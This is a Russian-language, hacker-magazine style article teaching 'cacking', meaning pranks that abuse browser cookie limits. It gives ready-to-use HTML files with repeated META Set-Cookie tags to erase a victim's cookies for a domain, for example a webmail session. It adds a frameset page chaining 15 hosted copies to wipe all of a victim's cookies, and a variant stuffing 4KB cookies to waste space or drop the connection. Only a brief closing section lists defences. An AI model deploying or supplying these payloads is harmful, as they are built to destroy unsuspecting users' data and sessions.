Сегодня мы займемся
какингом. Что это такое? Какинг -
хулиганство с помощью технологии cookie, что
используется в Web-страницах. После
прочтения данной статьи можешь смело
называть себя какером и создавать
единственную в мире Cacking Group. :o)
А зачем мне все это надо?
Технология cookie
используется при заполнении полей,
хранения информации, для виртуальных
корзин в Интернет-магазинах, в баннерных
сетях и много чего еще. Но также эта
технология используется взломщиками для
достижения своих целей.
1. Радость от гадости
Первый пример основан на
том, что по спецификациям броузер может
хранить не больше 20 записей от одного
домена. При переполнении данного лимита,
старые записи затираются новыми. Использование:
Закачать HTML-файл на тот сервер, откуда
пришли cookie. Можно послать по E-mail, если
жертва читает почту через Web, все cookie от его
почтового сервера сотрутся. Если нужно
удалить все cookies с *.домен.com, заменять
строчки примера на
<META HTTP-EQUIV="Set-Cookie"
CONTENT="You_are1=cacked1; EXPIRES=Fri, 14-Sep-2005 13:13:13 GMT; path=/;
domain=домен.com;">
Работает только с доменами COM, EDU, NET, ORG, GOV, MIL,
INT. Сам пример файла:
<html><head>
<META HTTP-EQUIV="Set-Cookie" CONTENT="You_are1=cacked1;
EXPIRES=Fri, 14-Sep-2005 13:13:13 GMT;">
<META HTTP-EQUIV="Set-Cookie" CONTENT="You_are2=cacked2;
EXPIRES=Fri, 14-Sep-2005 13:13:13 GMT;">
...
<META HTTP-EQUIV="Set-Cookie" CONTENT="You_are20=cacked20;
EXPIRES=Fri, 14-Sep-2005 13:13:13 GMT;">
</head></html>
Сохраняй этот файл как
cook.htm, он нам еще пригодится.
2. Полная гадость
Вторая гадость основана
на том, что общее количество cookies может быть
не больше 300. При переполнении лимита,
старые записи также затираются новыми.
Уловил мысль? Затираем все cookies жертвы.
Сначала тебе придется завести 15 аккаунтов
для страничек на разных серверах. Заходим
на всякие narod.ru, заводим аккаунты cook.site1.ru,
cook.site2.ru и т.д. до cook.site15.ru. Затем заливаем на
каждую страничку файл cook.htm, который мы
использовали в прошлой гадости. На все это у
тебя должно уйти не больше часа при
нормальной раскладке пальцев \m/. Создаем
файлик index.html и вписываем туда следующее:
<html><head></head>
<frameset rows="0,0,0,0,0,0,0,0,0,0,0,0,0,0,*">
<frame scrolling="no" noresize target="cook.site1.ru/cook.htm">
<frame scrolling="no" noresize target="cook.site2.ru/cook.htm">
...
<frame scrolling="no" noresize target="cook.site15.ru/cook.htm">
</frameset></html>
Заливаем созданный файл в
любое место, например на cook.narod.ru. Зайдя на
этот сайт, у пользователя будет вычищаться
весь cookies, накопленный годами, за пару
секунд.
3. Почему нельзя забить дисковое
пространство или сделать buffer overflow?
Дело в том, что каждый cookie
не может быть больше 4kb. Если лимит превышен,
начало cookie удаляется. Максимум, что можно
сделать - забить жертве 1,2mb дискового
пространства при хорошем качестве связи у
жертвы, либо disconnect'ить жертву при плохой
связи. Для этого меняй строчки в cook.htm на
следующее:
<META HTTP-EQUIV="Set-Cookie"
CONTENT="XAKEP1=Здесь вписывай 4kb (с вычитом 6
байт на имя XAKEP1); EXPIRES=Fri, 14-Sep-2005 13:13:13 GMT;">
Защита
Способов защиты
несколько и каждый способ довольно
неудобен.
1. Отменить использование cookie в броузере.
Недостаток в том, что пользователь
фактически отказывается ходить на огромное
количество сайтов.
2. Завести программу из класса Cookie Manager.
Недостаток в том, что надо постоянно
держать лишнюю программу. А это для
интернетчика с включенным Firewall'ом,
антивирусным монитором, ICQ, Dialer'ом и т.д.
довольно большое неудобство.
3. Не вступать в случайные связи.
Недостаток в том, что твои "проверенные"
друзья тоже могут над тобой подшутить, да и
не вступать в случайные связи - значит
сидеть дома и наслаждаться сайтами по
адресу 127.0.0.1. :)))